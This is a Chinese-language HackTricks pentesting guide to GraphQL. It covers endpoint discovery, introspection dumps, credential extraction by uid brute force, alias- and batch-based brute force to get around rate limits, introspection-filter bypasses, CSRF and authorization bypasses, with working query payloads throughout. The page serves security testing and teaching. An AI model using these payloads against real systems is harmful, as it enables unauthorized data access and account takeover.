hacktricks/network-services-pentesting/pentesting-web/graphql.md

24 KiB
Raw Blame History

GraphQL

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

介绍

GraphQL被强调为REST API的高效替代方案提供了一种简化的方法来查询后端数据。与通常需要跨多个端点发出多个请求以收集数据的REST相比GraphQL使得可以通过单个请求获取所有所需信息。这种简化显著地有利于开发人员,减少了数据获取过程的复杂性。

GraphQL与安全

随着新技术的出现包括GraphQL也出现了新的安全漏洞。一个关键点是GraphQL默认不包含身份验证机制。开发人员有责任实施这样的安全措施。没有适当的身份验证GraphQL端点可能会向未经身份验证的用户暴露敏感信息构成重大安全风险。

目录暴力攻击和GraphQL

为了识别暴露的GraphQL实例建议在目录暴力攻击中包含特定路径。这些路径包括

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

识别开放的GraphQL实例允许检查支持的查询。这对于了解通过端点访问的数据至关重要。GraphQL的内省系统通过详细说明模式支持的查询来实现这一点。有关更多信息请参考GraphQL关于内省的文档GraphQL用于API的查询语言。

指纹

工具graphw00f能够检测服务器中使用的GraphQL引擎然后为安全审计人员提供一些有用信息。

通用查询

要检查URL是否是GraphQL服务可以发送一个通用查询query{__typename}。如果响应包含{"data": {"__typename": "Query"}}则确认该URL托管了GraphQL端点。此方法依赖于GraphQL的__typename字段,该字段显示了查询对象的类型。

query{__typename}

基本枚举

GraphQL通常支持GETPOSTx-www-form-urlencodedPOSTjson。尽管出于安全考虑建议仅允许json以防止CSRF攻击。

自省

要使用自省来发现模式信息,请查询__schema字段。此字段在所有查询的根类型上都可用。

query={__schema{types{name,fields{name}}}}

使用此查询,您将找到正在使用的所有类型的名称:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

使用这个查询,您可以提取所有类型、字段和参数(以及参数的类型)。这将非常有用,以了解如何查询数据库。

错误

了解错误是否会被显示是很有趣的,因为它们将提供有用的信息

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

通过内省枚举数据库架构

{% hint style="info" %} 如果启用了内省但上述查询无法运行,请尝试从查询结构中删除onOperationonFragmentonField指令。 {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

内联反射查询:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最后一行代码是一个GraphQL查询将从GraphQL中转储所有元信息对象名称、参数、类型...

如果启用了内省,您可以使用GraphQL Voyager在GUI中查看所有选项。

查询

现在我们知道数据库中保存了哪种信息,让我们尝试提取一些值

在内省中,您可以找到可以直接查询的对象(因为您不能仅仅因为它存在就查询对象)。在下图中,您可以看到"queryType"称为"Query",而"Query"对象的一个字段是"flags"它也是一个对象类型。因此您可以查询flag对象。

请注意,查询"flags"的类型是"Flags",并且此对象定义如下:

您可以看到"Flags"对象由名称组成,然后您可以使用以下查询获取所有标志的名称和值:

query={flags{name, value}}

请注意,如果要查询的对象是像以下示例中的字符串这样的基本类型

您可以使用以下查询:

query={hiddenFlags}

在另一个示例中,"Query" 类型对象内有 2 个对象:"user" 和 "users"。
如果这些对象不需要任何参数来搜索,只需请求所需的数据,就可以检索所有信息。在这个示例中,你可以提取保存的用户名和密码:

然而,在这个示例中,如果你尝试这样做,你会收到这个错误

看起来它会使用类型为 Int 的 "uid" 参数进行搜索。
无论如何,我们已经知道,在基本枚举部分提出了一个查询,显示了我们所需的所有信息:query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

如果你阅读提供的图像,当我运行该查询时,你会看到 "user" 具有类型为 Intarg "uid"。

因此,通过进行一些轻量级的 uid 暴力破解,我发现在 uid=1 时检索到了一个用户名和一个密码:
query={user(uid:1){user,password}}

请注意,我发现我可以请求参数 "user" 和 "password",因为如果我尝试查找不存在的内容 (query={user(uid:1){noExists}}),我会收到这个错误:

枚举阶段中,我发现 "dbuser" 对象的字段是 "user" 和 "password

查询字符串转储技巧(感谢 @BinaryShadow_

如果你可以按字符串类型搜索,比如:query={theusers(description: ""){username,password}},并且你搜索空字符串,它将转储所有数据。(请注意,此示例与教程示例无关,对于此示例,请假设你可以使用 "theusers" 搜索名为 "description" 的 String 字段).

搜索

在这个设置中,一个数据库包含人员电影人员通过他们的电子邮件姓名进行标识;电影通过它们的名称评分进行标识。人员可以互相成为朋友,也可以拥有电影,表示数据库内的关系。

你可以通过姓名搜索人员并获取他们的电子邮件:

{
searchPerson(name: "John Doe") {
email
}
}

您可以通过姓名搜索人员并获取他们订阅的电影:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

请注意如何指示检索人员的subscribedMoviesname

您还可以同时搜索多个对象。在这种情况下搜索了2部电影

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

甚至使用别名关联多个不同对象的关系

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

变异用于在服务器端进行更改。

内省中,您可以找到声明的变异。在下图中,"MutationType" 被称为 "Mutation""Mutation" 对象包含变异的名称(在本例中为 "addPerson"

在这个设置中,一个数据库包含人员电影人员通过他们的电子邮件姓名进行标识;电影通过它们的名称评级进行标识。人员可以互相成为朋友,也可以拥有电影,表示数据库中的关系。

在数据库中创建新的电影的变异可以如下(在这个例子中,变异被称为 addMovie

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

注意查询中指示了数据的值和类型。

此外,数据库支持一种名为 addPersonmutation 操作,允许创建人员以及将他们与现有的朋友电影关联起来。重要的是要注意,朋友和电影在链接到新创建的人员之前必须事先存在于数据库中。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

在1个API请求中批量进行暴力破解

这些信息来自https://lab.wallarm.com/graphql-batching-attack/
通过GraphQL API进行身份验证同时发送多个带有不同凭据的查询来检查。这是一种经典的暴力破解攻击但现在由于GraphQL的批处理功能可以在一个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,让其认为一切正常,没有暴力破解机器人试图猜测密码。

下面是一个应用程序身份验证请求的最简单演示,每次同时发送3对不同的电子邮件/密码。显然,可以以相同的方式在单个请求中发送成千上万个:

从响应截图中可以看到,第一个和第三个请求返回了 null 并在 error 部分反映了相应的信息。第二个变异具有正确的身份验证数据,响应具有正确的身份验证会话令牌。

无内省的GraphQL

越来越多的GraphQL端点禁用内省。然而当收到意外请求时GraphQL抛出的错误足以让像clairvoyance这样的工具重新创建大部分模式。

此外Burp Suite扩展程序GraphQuail扩展程序观察通过Burp传递的GraphQL API请求构建一个内部GraphQL模式每次看到新查询时都会构建。它还可以为GraphiQL和Voyager公开模式。当接收到内省查询时该扩展程序返回一个虚假响应。因此GraphQuail显示了API中可用于使用的所有查询、参数和字段。有关更多信息请查看此处

一个很好的单词列表,用于发现GraphQL实体可以在这里找到

绕过GraphQL内省防御

绕过GraphQL内省防御

为了绕过API中内省查询的限制__schema关键字后插入一个特殊字符是有效的。这种方法利用了常见的开发人员在正则表达式模式中的疏忽,这些模式旨在通过关注__schema关键字来阻止内省。通过添加像空格、换行和逗号这样的字符GraphQL会忽略但可能没有在正则表达式中考虑到的字符可以规避限制。例如一个在__schema后面加上换行符的内省查询可能会绕过这些防御:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

如果不成功,考虑使用替代的请求方法,比如GET请求带有x-www-form-urlencoded的POST因为限制可能仅适用于POST请求。

发现暴露的GraphQL结构

当禁用内省时检查网站源代码中JavaScript库中预加载的查询是一种有用的策略。可以使用开发者工具中的Sources选项卡找到这些查询从而深入了解API的模式并揭示可能暴露的敏感查询。在开发者工具中搜索的命令为:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQL中的CSRF

如果你不知道什么是CSRF请阅读以下页面

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

在这里你可能会发现一些GraphQL端点没有配置CSRF令牌

请注意GraphQL请求通常通过使用Content-Type **application/json**的POST请求发送。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

然而,大多数 GraphQL 端点也支持 form-urlencoded POST 请求:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

因此由于类似之前的CSRF请求是无需预检请求发送的因此可能利用CSRF在GraphQL中执行 更改

但是请注意Chrome的samesite标志的新默认cookie值为Lax。这意味着该cookie仅在第三方网站的GET请求中发送。

请注意,通常也可以将查询请求作为GET 请求发送而在GET请求中可能不会验证CSRF令牌。

此外,可能利用XS-Search 攻击从GraphQL端点中滥用用户凭据来突破内容。

有关更多信息,请查看此处的原始帖子

GraphQL中的授权

端点上定义的许多GraphQL函数可能仅检查请求者的身份验证而不检查授权。

修改查询输入变量可能导致泄露敏感账户详细信息leaked

甚至可能通过修改其他账户数据尝试接管账户来导致变更。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

绕过 GraphQL 授权

链接查询 可以绕过弱身份验证系统。

在下面的示例中您可以看到操作是“forgotPassword”应该只执行与之关联的 forgotPassword 查询。这可以通过在末尾添加一个查询来绕过,本例中我们添加了 "register" 和一个用户变量,系统会将其注册为新用户。

使用 GraphQL 中的别名绕过速率限制

在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时明确命名属性。这种能力特别适用于在单个请求中检索同一类型的多个实例。别名可用于克服阻止 GraphQL 对象具有相同名称的多个属性的限制。

建议查看有关 GraphQL 别名的详细理解的资源:别名

虽然别名的主要目的是减少大量 API 调用的必要性,但已经发现了一个意外的用例,即可以利用别名来对 GraphQL 端点执行暴力攻击。这是可能的,因为一些端点受到速率限制器的保护,这些限制器旨在通过限制HTTP 请求的数量来阻止暴力攻击。然而,这些速率限制器可能不考虑每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以规避此类速率限制措施。

考虑下面提供的示例,说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译到一个 HTTP 请求中,从而可能允许同时验证多个折扣代码。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

工具

漏洞扫描器

客户端

自动化测试

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

参考资料

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式